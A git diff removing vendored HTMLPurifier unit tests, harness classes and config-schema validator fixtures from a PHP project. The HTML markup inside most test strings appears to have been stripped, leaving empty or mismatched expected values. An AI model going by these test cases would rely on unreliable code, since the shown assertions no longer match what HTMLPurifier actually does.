HTMLPurifier_ChildDef_Custom('#PCDATA,a'); - $this->assertEqual($this->obj->elements, array('#PCDATA' => true, 'a' => true)); - $this->assertResult('foo'); - $this->assertResult('', false); - } - - public function testWhitespace() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('a'); - $this->assertEqual($this->obj->elements, array('a' => true)); - $this->assertResult('foo', false); - $this->assertResult(''); - $this->assertResult(' '); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php deleted file mode 100644 index a5cd36ef4e..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php +++ /dev/null @@ -1,54 +0,0 @@ -obj = new HTMLPurifier_ChildDef_List(); - } - - public function testEmptyInput() - { - $this->assertResult('', false); - } - - public function testSingleLi() - { - $this->assertResult('
  • '); - } - - public function testSomeLi() - { - $this->assertResult('
  • asdf
  • '); - } - - public function testOlAtBeginning() - { - $this->assertResult('
      ', '
      1. '); - } - - public function testOlAtBeginningWithOtherJunk() - { - $this->assertResult('
        1. ', '
          1. '); - } - - public function testOlInMiddle() - { - $this->assertResult('
          2. Foo
            1. Bar
            ', '
          3. Foo
            1. Bar
          4. '); - } - - public function testMultipleOl() - { - $this->assertResult('
              1. ', '
                  1. '); - } - - public function testUlAtBeginning() - { - $this->assertResult('
                      ', '
                      • '); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/OptionalTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/OptionalTest.php deleted file mode 100644 index 39d5998d74..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/OptionalTest.php +++ /dev/null @@ -1,39 +0,0 @@ -obj = new HTMLPurifier_ChildDef_Optional('b | i'); - } - - public function testBasicUsage() - { - $this->assertResult('Bold text', 'Bold text'); - } - - public function testRemoveForbiddenText() - { - $this->assertResult('Not allowed text', ''); - } - - public function testEmpty() - { - $this->assertResult(''); - } - - public function testWhitespace() - { - $this->assertResult(' '); - } - - public function testMultipleWhitespace() - { - $this->assertResult(' '); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/RequiredTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/RequiredTest.php deleted file mode 100644 index d4516c7a43..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/RequiredTest.php +++ /dev/null @@ -1,78 +0,0 @@ -assertIdentical($def->elements, - array( - 'foobar' => true - ,'bang' => true - ,'gizmo' => true - )); - } - - public function testPrepareArray() - { - $def = new HTMLPurifier_ChildDef_Required(array('href', 'src')); - $this->assertIdentical($def->elements, - array( - 'href' => true - ,'src' => true - )); - } - - public function setUp() - { - parent::setUp(); - $this->obj = new HTMLPurifier_ChildDef_Required('dt | dd'); - } - - public function testEmptyInput() - { - $this->assertResult('', false); - } - - public function testRemoveIllegalTagsAndElements() - { - $this->assertResult( - '
                        Term
                        Text in an illegal location'. - '
                        Definition
                        Illegal tag', - '
                        Term
                        Definition
                        '); - $this->assertResult('How do you do!', false); - } - - public function testIgnoreWhitespace() - { - // whitespace shouldn't trigger it - $this->assertResult("\n
                        Definition
                        "); - } - - public function testPreserveWhitespaceAfterRemoval() - { - $this->assertResult( - '
                        Definition
                        ', - '
                        Definition
                        ' - ); - } - - public function testDeleteNodeIfOnlyWhitespace() - { - $this->assertResult("\t ", false); - } - - public function testPCDATAAllowed() - { - $this->obj = new HTMLPurifier_ChildDef_Required('#PCDATA | b'); - $this->assertResult('Out Bold text', 'Out Bold text'); - } - public function testPCDATAAllowedJump() - { - $this->obj = new HTMLPurifier_ChildDef_Required('#PCDATA | b'); - $this->assertResult('A foo', 'A foo'); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php deleted file mode 100644 index 08618cead0..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php +++ /dev/null @@ -1,96 +0,0 @@ -obj = new HTMLPurifier_ChildDef_StrictBlockquote('div | p'); - } - - public function testEmptyInput() - { - $this->assertResult(''); - } - - public function testPreserveValidP() - { - $this->assertResult('

                        Valid

                        '); - } - - public function testPreserveValidDiv() - { - $this->assertResult('
                        Still valid
                        '); - } - - public function testWrapTextWithP() - { - $this->assertResult('Needs wrap', '

                        Needs wrap

                        '); - } - - public function testNoWrapForWhitespaceOrValidElements() - { - $this->assertResult('

                        Do not wrap

                        Whitespace

                        '); - } - - public function testWrapTextNextToValidElements() - { - $this->assertResult( - 'Wrap'. '

                        Do not wrap

                        ', - '

                        Wrap

                        Do not wrap

                        ' - ); - } - - public function testWrapInlineElements() - { - $this->assertResult( - '

                        Do not

                        '.'Wrap', - '

                        Do not

                        Wrap

                        ' - ); - } - - public function testWrapAndRemoveInvalidTags() - { - $this->assertResult( - '
                      • Not allowed
                      • Paragraph.

                        Hmm.

                        ', - '

                        Not allowedParagraph.

                        Hmm.

                        ' - ); - } - - public function testWrapComplicatedSring() - { - $this->assertResult( - $var = 'He said
                        perhaps
                        we should nuke them.', - "

                        $var

                        " - ); - } - - public function testWrapAndRemoveInvalidTagsComplex() - { - $this->assertResult( - 'BarPeopleConniving.'. '

                        Fools!

                        ', - '

                        Bar'. 'PeopleConniving.

                        Fools!

                        ' - ); - } - - public function testAlternateWrapper() - { - $this->config->set('HTML.BlockWrapper', 'div'); - $this->assertResult('Needs wrap', '
                        Needs wrap
                        '); - - } - - public function testError() - { - $this->expectError('Cannot use non-block element as block wrapper'); - $this->obj = new HTMLPurifier_ChildDef_StrictBlockquote('div | p'); - $this->config->set('HTML.BlockWrapper', 'dav'); - $this->config->set('Cache.DefinitionImpl', null); - $this->assertResult('Needs wrap', '

                        Needs wrap

                        '); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/TableTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/TableTest.php deleted file mode 100644 index 735e6fb669..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/TableTest.php +++ /dev/null @@ -1,86 +0,0 @@ -obj = new HTMLPurifier_ChildDef_Table(); - } - - public function testEmptyInput() - { - $this->assertResult('', false); - } - - public function testSingleRow() - { - $this->assertResult(''); - } - - public function testComplexContents() - { - $this->assertResult(''. - 'asdf'); - $this->assertResult(''); - } - - public function testReorderContents() - { - $this->assertResult( - '1', - '1'); - } - - public function testXhtml11Illegal() - { - $this->assertResult( - 'aa', - 'aa' - ); - } - - public function testTrOverflowAndClose() - { - $this->assertResult( - 'abcd', - 'abcd' - ); - } - - public function testDuplicateProcessing() - { - $this->assertResult( - '11', - '11' - ); - } - - public function testRemoveText() - { - $this->assertResult('foo', false); - } - - public function testStickyWhitespaceOnTr() - { - $this->config->set('Output.Newline', "\n"); - $this->assertResult("\n \n \n "); - } - - public function testStickyWhitespaceOnTSection() - { - $this->config->set('Output.Newline', "\n"); - $this->assertResult( - "\n\t\n\t\t\n\t\t\t", - "\n\t\n\t\t\t\n\t\t" - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDefHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDefHarness.php deleted file mode 100644 index 40fe0b7824..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDefHarness.php +++ /dev/null @@ -1,17 +0,0 @@ -obj = null; - $this->func = 'validateChildren'; - $this->to_html = true; - $this->to_node_list = true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ComplexHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ComplexHarness.php deleted file mode 100644 index fba01e4179..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ComplexHarness.php +++ /dev/null @@ -1,138 +0,0 @@ -lexer = new HTMLPurifier_Lexer_DirectLex(); - parent::__construct(); - } - - /** - * Asserts a specific result from a one parameter + config/context function - * @param string $input Input parameter - * @param bool|string $expect Expectation - */ - protected function assertResult($input, $expect = true) - { - // $func may cause $input to change, so "clone" another copy - // to sacrifice - if ($this->to_node_list && is_string($input)) { - $input = HTMLPurifier_Arborize::arborize($this->tokenize($temp = $input), $this->config, $this->context)->children; - $input_c = HTMLPurifier_Arborize::arborize($this->tokenize($temp), $this->config, $this->context)->children; - } elseif ($this->to_tokens && is_string($input)) { - $input = $this->tokenize($temp = $input); - $input_c = $this->tokenize($temp); - } else { - $input_c = $input; - } - - // call the function - $func = $this->func; - $result = $this->obj->$func($input_c, $this->config, $this->context); - - // test a bool result - if (is_bool($result)) { - $this->assertIdentical($expect, $result); - return; - } elseif (is_bool($expect)) { - $expect = $input; - } - - if ($this->to_html) { - if ($this->to_node_list) { - $result = $this->generateTokens($result); - if (is_array($expect) && !empty($expect) && $expect[0] instanceof HTMLPurifier_Node) { - $expect = $this->generateTokens($expect); - } - } - $result = $this->generate($result); - if (is_array($expect)) { - $expect = $this->generate($expect); - } - } - $this->assertIdentical($expect, $result); - - if ($expect !== $result) { - echo '
                        ' . var_dump($result) . '
                        '; - } - - } - - /** - * Tokenize HTML into tokens, uses member variables for common variables - */ - protected function tokenize($html) - { - return $this->lexer->tokenizeHTML($html, $this->config, $this->context); - } - - /** - * Generate textual HTML from tokens - */ - protected function generate($tokens) - { - $generator = new HTMLPurifier_Generator($this->config, $this->context); - return $generator->generateFromTokens($tokens); - } - - /** - * Generate tokens from node list - */ - protected function generateTokens($children) - { - $dummy = new HTMLPurifier_Node_Element("dummy"); - $dummy->children = $children; - return HTMLPurifier_Arborize::flatten($dummy, $this->context, $this->config); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/InterchangeTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/InterchangeTest.php deleted file mode 100644 index 0fde77b957..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/InterchangeTest.php +++ /dev/null @@ -1,23 +0,0 @@ -interchange = new HTMLPurifier_ConfigSchema_Interchange(); - } - - public function testAddDirective() - { - $v = new HTMLPurifier_ConfigSchema_Interchange_Directive(); - $v->id = new HTMLPurifier_ConfigSchema_Interchange_Id('Namespace.Directive'); - $this->interchange->addDirective($v); - $this->assertIdentical($v, $this->interchange->directives['Namespace.Directive']); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesAliasCollision.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesAliasCollision.vtest deleted file mode 100644 index 731e2f77d3..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesAliasCollision.vtest +++ /dev/null @@ -1,13 +0,0 @@ -ERROR: Alias 'Ns.BothWantThisName' in aliases in directive 'Ns.Dir2' collides with alias for directive 'Ns.Dir' ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: int -DEFAULT: 3 -ALIASES: Ns.BothWantThisName ----- -Ns.Dir2 -DESCRIPTION: Directive -TYPE: string -DEFAULT: 'a' -ALIASES: Ns.BothWantThisName diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesDirectiveCollision.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesDirectiveCollision.vtest deleted file mode 100644 index cee9fd89f0..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesDirectiveCollision.vtest +++ /dev/null @@ -1,12 +0,0 @@ -ERROR: Alias 'Ns.Innocent' in aliases in directive 'Ns.Dir' collides with another directive ----- -Ns.Innocent -DESCRIPTION: Innocent directive -TYPE: int -DEFAULT: 3 ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: string -DEFAULT: 'a' -ALIASES: Ns.Innocent diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedIsString.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedIsString.vtest deleted file mode 100644 index 854c9d65cb..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedIsString.vtest +++ /dev/null @@ -1,7 +0,0 @@ -ERROR: Value 3 in allowed in directive 'Ns.Dir' must be a string ----- -ID: Ns.Dir -TYPE: string -DESCRIPTION: Description -DEFAULT: 'asdf' -ALLOWED: 'asdf', 3 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedNotEmpty.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedNotEmpty.vtest deleted file mode 100644 index 01442ff5fe..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedNotEmpty.vtest +++ /dev/null @@ -1,7 +0,0 @@ -ERROR: Allowed in directive 'Ns.Dir' must not be empty ----- -ID: Ns.Dir -TYPE: string -DESCRIPTION: Description -DEFAULT: 'asdf' -ALLOWED: diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultIsAllowed.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultIsAllowed.vtest deleted file mode 100644 index 77f84b8210..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultIsAllowed.vtest +++ /dev/null @@ -1,7 +0,0 @@ -ERROR: Default in directive 'Ns.Dir' must be an allowed value ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: string -DEFAULT: 'a' -ALLOWED: 'b' diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultNullWithAllowed.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultNullWithAllowed.vtest deleted file mode 100644 index 316b2d80ea..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultNullWithAllowed.vtest +++ /dev/null @@ -1,5 +0,0 @@ -Ns.Dir -DESCRIPTION: Directive -TYPE: string/null -DEFAULT: null -ALLOWED: 'a' diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultType.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultType.vtest deleted file mode 100644 index 4f601fbb90..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultType.vtest +++ /dev/null @@ -1,6 +0,0 @@ -ERROR: Expected type string, got integer in DEFAULT in directive hash 'Ns.Dir' ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: string -DEFAULT: 0 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/descriptionNotEmpty.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/descriptionNotEmpty.vtest deleted file mode 100644 index d47e57884b..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/descriptionNotEmpty.vtest +++ /dev/null @@ -1,5 +0,0 @@ -ERROR: Description in directive 'Ns.Dir' must not be empty ----- -Ns.Dir -TYPE: int -DEFAULT: 0 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/ignoreNamespace.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/ignoreNamespace.vtest deleted file mode 100644 index d9272f7657..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/ignoreNamespace.vtest +++ /dev/null @@ -1,3 +0,0 @@ -Ns -DESCRIPTION: Namespace - diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeDefined.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeDefined.vtest deleted file mode 100644 index ab4749fa12..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeDefined.vtest +++ /dev/null @@ -1,5 +0,0 @@ -ERROR: TYPE in directive hash 'Ns.Dir' not defined ----- -Ns.Dir -DESCRIPTION: Notice that TYPE is missing -DEFAULT: 0 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeExists.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeExists.vtest deleted file mode 100644 index c169917437..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeExists.vtest +++ /dev/null @@ -1,6 +0,0 @@ -ERROR: Invalid type 'foobar' in DEFAULT in directive hash 'Ns.Dir' ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: foobar -DEFAULT: 0 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithAllowedIsStringType.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithAllowedIsStringType.vtest deleted file mode 100644 index eac4e9d22d..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithAllowedIsStringType.vtest +++ /dev/null @@ -1,7 +0,0 @@ -ERROR: Type in directive 'Ns.Dir' must be a string type when used with allowed or value aliases ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: int -DEFAULT: 3 -ALLOWED: 1, 2, 3 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithValueAliasesIsStringType.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithValueAliasesIsStringType.vtest deleted file mode 100644 index 86ee68de0e..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithValueAliasesIsStringType.vtest +++ /dev/null @@ -1,7 +0,0 @@ -ERROR: Type in directive 'Ns.Dir' must be a string type when used with allowed or value aliases ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: int -DEFAULT: 3 -VALUE-ALIASES: 2 => 3 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/unique.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/unique.vtest deleted file mode 100644 index 2ebeba2399..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/unique.vtest +++ /dev/null @@ -1,11 +0,0 @@ -ERROR: Cannot redefine directive 'Ns.Dir' ----- -ID: Ns.Dir -DESCRIPTION: Version 1 -TYPE: int -DEFAULT: 0 ----- -ID: Ns.Dir -DESCRIPTION: Version 2 -TYPE: int -DEFAULT: 0 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasIsString.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasIsString.vtest deleted file mode 100644 index 34b39f81b3..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasIsString.vtest +++ /dev/null @@ -1,7 +0,0 @@ -ERROR: Alias 3 in valueAliases in directive 'Ns.Dir' must be a string ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: string -DEFAULT: 'a' -VALUE-ALIASES: 3 => 'a' diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasNotAllowed.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasNotAllowed.vtest deleted file mode 100644 index 291101c700..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasNotAllowed.vtest +++ /dev/null @@ -1,8 +0,0 @@ -ERROR: Alias 'b' in valueAliases in directive 'Ns.Dir' must not be an allowed value ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: string -DEFAULT: 'a' -ALLOWED: 'a', 'b', 'c' -VALUE-ALIASES: 'b' => 'c' diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesNotAliasSelf.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesNotAliasSelf.vtest deleted file mode 100644 index 1d04b81c7c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesNotAliasSelf.vtest +++ /dev/null @@ -1,7 +0,0 @@ -ERROR: Alias 'bar' in valueAliases in directive 'Ns.Dir' must not be an alias to itself ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: string -DEFAULT: 'foo' -VALUE-ALIASES: 'bar' => 'bar' diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealAllowed.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealAllowed.vtest deleted file mode 100644 index 89502d34a6..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealAllowed.vtest +++ /dev/null @@ -1,8 +0,0 @@ -ERROR: Alias 'c' in valueAliases in directive 'Ns.Dir' must be an alias to an allowed value ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: string -DEFAULT: 'a' -ALLOWED: 'a', 'b' -VALUE-ALIASES: 'c' => 'd' diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealIsString.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealIsString.vtest deleted file mode 100644 index 92ec197dcd..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealIsString.vtest +++ /dev/null @@ -1,7 +0,0 @@ -ERROR: Alias target 3 from alias 'b' in valueAliases in directive 'Ns.Dir' must be a string ----- -Ns.Dir -DESCRIPTION: Directive -TYPE: string -DEFAULT: 'a' -VALUE-ALIASES: 'b' => 3 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorAtomTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorAtomTest.php deleted file mode 100644 index 68b4d86060..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorAtomTest.php +++ /dev/null @@ -1,110 +0,0 @@ -expectException(new HTMLPurifier_ConfigSchema_Exception($msg)); - } - - protected function makeAtom($value) - { - $obj = new stdClass(); - $obj->property = $value; - // Note that 'property' and 'context' are magic wildcard values - return new HTMLPurifier_ConfigSchema_ValidatorAtom('context', $obj, 'property'); - } - - public function testAssertIsString() - { - $this->makeAtom('foo')->assertIsString(); - } - - public function testAssertIsStringFail() - { - $this->expectValidationException("Property in context must be a string"); - $this->makeAtom(3)->assertIsString(); - } - - public function testAssertNotNull() - { - $this->makeAtom('foo')->assertNotNull(); - } - - public function testAssertNotNullFail() - { - $this->expectValidationException("Property in context must not be null"); - $this->makeAtom(null)->assertNotNull(); - } - - public function testAssertAlnum() - { - $this->makeAtom('foo2')->assertAlnum(); - } - - public function testAssertAlnumFail() - { - $this->expectValidationException("Property in context must be alphanumeric"); - $this->makeAtom('%a')->assertAlnum(); - } - - public function testAssertAlnumFailIsString() - { - $this->expectValidationException("Property in context must be a string"); - $this->makeAtom(3)->assertAlnum(); - } - - public function testAssertNotEmpty() - { - $this->makeAtom('foo')->assertNotEmpty(); - } - - public function testAssertNotEmptyFail() - { - $this->expectValidationException("Property in context must not be empty"); - $this->makeAtom('')->assertNotEmpty(); - } - - public function testAssertIsBool() - { - $this->makeAtom(false)->assertIsBool(); - } - - public function testAssertIsBoolFail() - { - $this->expectValidationException("Property in context must be a boolean"); - $this->makeAtom('0')->assertIsBool(); - } - - public function testAssertIsArray() - { - $this->makeAtom(array())->assertIsArray(); - } - - public function testAssertIsArrayFail() - { - $this->expectValidationException("Property in context must be an array"); - $this->makeAtom('asdf')->assertIsArray(); - } - - - public function testAssertIsLookup() - { - $this->makeAtom(array('foo' => true))->assertIsLookup(); - } - - public function testAssertIsLookupFail() - { - $this->expectValidationException("Property in context must be a lookup array"); - $this->makeAtom(array('foo' => 4))->assertIsLookup(); - } - - public function testAssertIsLookupFailIsArray() - { - $this->expectValidationException("Property in context must be an array"); - $this->makeAtom('asdf')->assertIsLookup(); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTest.php deleted file mode 100644 index 18affc36b2..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTest.php +++ /dev/null @@ -1,111 +0,0 @@ -validator = new HTMLPurifier_ConfigSchema_Validator(); - $this->interchange = new HTMLPurifier_ConfigSchema_Interchange(); - } - - public function testDirectiveIntegrityViolation() - { - $d = $this->makeDirective('Ns.Dir'); - $d->id = new HTMLPurifier_ConfigSchema_Interchange_Id('Ns.Dir2'); - $this->expectValidationException("Integrity violation: key 'Ns.Dir' does not match internal id 'Ns.Dir2'"); - $this->validator->validate($this->interchange); - } - - public function testDirectiveTypeNotEmpty() - { - $d = $this->makeDirective('Ns.Dir'); - $d->default = 0; - $d->description = 'Description'; - - $this->expectValidationException("Type in directive 'Ns.Dir' must not be empty"); - $this->validator->validate($this->interchange); - } - - public function testDirectiveDefaultInvalid() - { - $d = $this->makeDirective('Ns.Dir'); - $d->default = 'asdf'; - $d->type = 'int'; - $d->description = 'Description'; - - $this->expectValidationException("Default in directive 'Ns.Dir' had error: Expected type int, got string"); - $this->validator->validate($this->interchange); - } - - public function testDirectiveIdIsString() - { - $d = $this->makeDirective(3); - $d->default = 0; - $d->type = 'int'; - $d->description = 'Description'; - - $this->expectValidationException("Key in id '3' in directive '3' must be a string"); - $this->validator->validate($this->interchange); - } - - public function testDirectiveTypeAllowsNullIsBool() - { - $d = $this->makeDirective('Ns.Dir'); - $d->default = 0; - $d->type = 'int'; - $d->description = 'Description'; - $d->typeAllowsNull = 'yes'; - - $this->expectValidationException("TypeAllowsNull in directive 'Ns.Dir' must be a boolean"); - $this->validator->validate($this->interchange); - } - - public function testDirectiveValueAliasesIsArray() - { - $d = $this->makeDirective('Ns.Dir'); - $d->default = 'a'; - $d->type = 'string'; - $d->description = 'Description'; - $d->valueAliases = 2; - - $this->expectValidationException("ValueAliases in directive 'Ns.Dir' must be an array"); - $this->validator->validate($this->interchange); - } - - public function testDirectiveAllowedIsLookup() - { - $d = $this->makeDirective('Ns.Dir'); - $d->default = 'foo'; - $d->type = 'string'; - $d->description = 'Description'; - $d->allowed = array('foo' => 1); - - $this->expectValidationException("Allowed in directive 'Ns.Dir' must be a lookup array"); - $this->validator->validate($this->interchange); - } - - // helper functions - - - protected function makeDirective($key) - { - $directive = new HTMLPurifier_ConfigSchema_Interchange_Directive(); - $directive->id = new HTMLPurifier_ConfigSchema_Interchange_Id($key); - $this->interchange->addDirective($directive); - return $directive; - } - - protected function expectValidationException($msg) - { - $this->expectException(new HTMLPurifier_ConfigSchema_Exception($msg)); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTestCase.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTestCase.php deleted file mode 100644 index 29a9111616..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTestCase.php +++ /dev/null @@ -1,47 +0,0 @@ -_path = $path; - $this->_parser = new HTMLPurifier_StringHashParser(); - $this->_builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); - parent::__construct($path); - } - - public function setup() - { - $this->validator = new HTMLPurifier_ConfigSchema_Validator(); - } - - public function testValidator() - { - $hashes = $this->_parser->parseMultiFile($this->_path); - $interchange = new HTMLPurifier_ConfigSchema_Interchange(); - $error = null; - foreach ($hashes as $hash) { - if (!isset($hash['ID'])) { - if (isset($hash['ERROR'])) { - $this->expectException( - new HTMLPurifier_ConfigSchema_Exception($hash['ERROR']) - ); - } - continue; - } - $this->_builder->build($interchange, new HTMLPurifier_StringHash($hash)); - } - $this->validator->validate($interchange); - 